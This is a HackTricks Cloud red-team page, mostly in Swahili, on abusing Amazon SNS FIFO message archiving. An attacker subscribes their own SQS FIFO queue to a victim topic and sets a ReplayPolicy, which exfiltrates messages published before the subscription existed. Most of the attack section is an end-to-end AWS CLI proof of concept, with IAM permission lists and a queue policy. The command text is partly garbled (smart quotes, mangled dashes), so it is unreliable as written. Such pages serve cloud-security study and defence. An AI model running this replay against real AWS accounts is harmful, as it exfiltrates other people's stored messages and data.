SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Matumizi mabaya ya Amazon SNS FIFO topic message archiving ili kureplay na exfiltrate ujumbe zilizochapishwa awali kwenda kwenye attacker-controlled SQS FIFO queue kwa kuweka subscription ReplayPolicy.
- Huduma: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Mahitaji: Topic lazima iwe na
ArchivePolicyimewezeshwa (message archiving). Attacker anawezaSubscribekwenye topic naset attributeskwenye subscription yao. Attacker anasimamia SQS FIFO queue na anaruhusu topic kutuma ujumbe. - Athari: Ujumbe za kihistoria (published before the subscription) zinaweza kuwasilishwa kwa attacker endpoint. Replayed deliveries zinaletwa na alama
Replayed=truekatika envelope ya SNS.
Masharti ya awali
- SNS FIFO topic yenye uhifadhi umewezeshwa:
ArchivePolicy(mfano,{ "MessageRetentionPeriod": "2" }kwa siku 2). - Mshambuliaji ana ruhusa za:
sns:Subscribeon the target topic.sns:SetSubscriptionAttributeson the created subscription.- Mshambuliaji ana SQS FIFO queue na anaweza kuambatisha queue policy inayoruhusu
sns:SendMessagekutoka kwa topic ARN.
Ruhusa za chini kabisa za IAM
- Kwenye topic:
sns:Subscribe. - Kwenye subscription:
sns:SetSubscriptionAttributes. - Kwenye queue:
sqs:SetQueueAttributeskwa policy, na queue policy inyoruhususns:SendMessagekutoka kwa topic ARN.
Shambulio: Replay archived messages to attacker SQS FIFO
Mshambuliaji anasubscribe SQS FIFO queue yao kwenye mhasiriwa SNS FIFO topic, kisha anaweka ReplayPolicy kwa timestamp ya zamani (ndani ya dirisha la archive retention). SNS mara moja ina-replay archived messages zinazofanana kwa subscription mpya na kuzipa alama Replayed=true.
Notes:
- The timestamp used in
ReplayPolicymust be >= the topicâsBeginningArchiveTime. Ikiwa ni mapema zaidi, API itarudishaInvalid StartingPoint value. - Kwa SNS FIFO
Publish, lazima utoeMessageGroupId(na ama dedup ID au wekeshaContentBasedDeduplication).
End-to-end CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic âregion â$REGIONâ
âcli-input-json â{âNameâ:âââ$TOPIC_NAMEâââ,âAttributesâ:{âFifoTopicâ:âtrueâ,âContentBasedDeduplicationâ:âtrueâ,âArchivePolicyâ:â{"MessageRetentionPeriod":"2"}â}}â
âquery TopicArn âoutput text)
echo âTopic: $TOPIC_ARNâ
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âmessage â{"orderId":$i,"secret":"ssn-123-45-678$i"}â
âmessage-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue âqueue-name ht-replay-exfil-q-$(date +%s).fifo
âattributes FifoQueue=true âregion â$REGIONâ âquery QueueUrl âoutput text)
Q_ARN=$(aws sqs get-queue-attributes âqueue-url â$Q_URLâ âregion â$REGIONâ
âattribute-names QueueArn âquery Attributes.QueueArn âoutput text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {âVersionâ:â2012-10-17â,âStatementâ:[{âSidâ:âAllowSNSSendâ,âEffectâ:âAllowâ,âPrincipalâ:{âServiceâ:âsns.amazonaws.comâ},âActionâ:âsqs:SendMessageâ,âResourceâ:â$Q_ARNâ,âConditionâ:{âArnEqualsâ:{âaws:SourceArnâ:â$TOPIC_ARNâ}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes âregion â$REGIONâ âcli-input-json â$(python3 - << âPYâ import json, os print(json.dumps({ âQueueUrlâ: os.environ[âQ_URLâ], âAttributesâ: {âPolicyâ: open(â/tmp/ht-replay-sqs-policy.jsonâ).read()} })) PY )â
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âprotocol sqs ânotification-endpoint â$Q_ARNâ âquery SubscriptionArn âoutput text)
echo âSubscription: $SUB_ARNâ
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ âquery Attributes.BeginningArchiveTime âoutput text) START=${TS_START} if [ -n â$BEGINâ ]; then START=â$BEGINâ; fi
aws sns set-subscription-attributes âregion â$REGIONâ âsubscription-arn â$SUB_ARNâ
âattribute-name ReplayPolicy
âattribute-value â{"PointType":"Timestamp","StartingPoint":"$START"}â
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message âqueue-url â$Q_URLâ âregion â$REGIONâ
âmax-number-of-messages 10 âwait-time-seconds 10
âmessage-attribute-names All âattribute-names All
</details>
## Impact
**Athari Zinazowezekana**: Mshambuliaji ambaye anaweza kujisajili kwenye SNS FIFO topic yenye archiving imewezeshwa na kuweka `ReplayPolicy` kwenye subscription yao anaweza mara moja kucheza tena na exfiltrate ujumbe wa kihistoria uliotumwa kwenye topic hiyo, si tu ujumbe uliotumwa baada subscription kuundwa. Ujumbe uliwasilishwa una jumuisha flag `Replayed=true` katika envelope ya SNS.
> [!TIP]
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** đŹ [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>
HackTricks Cloud

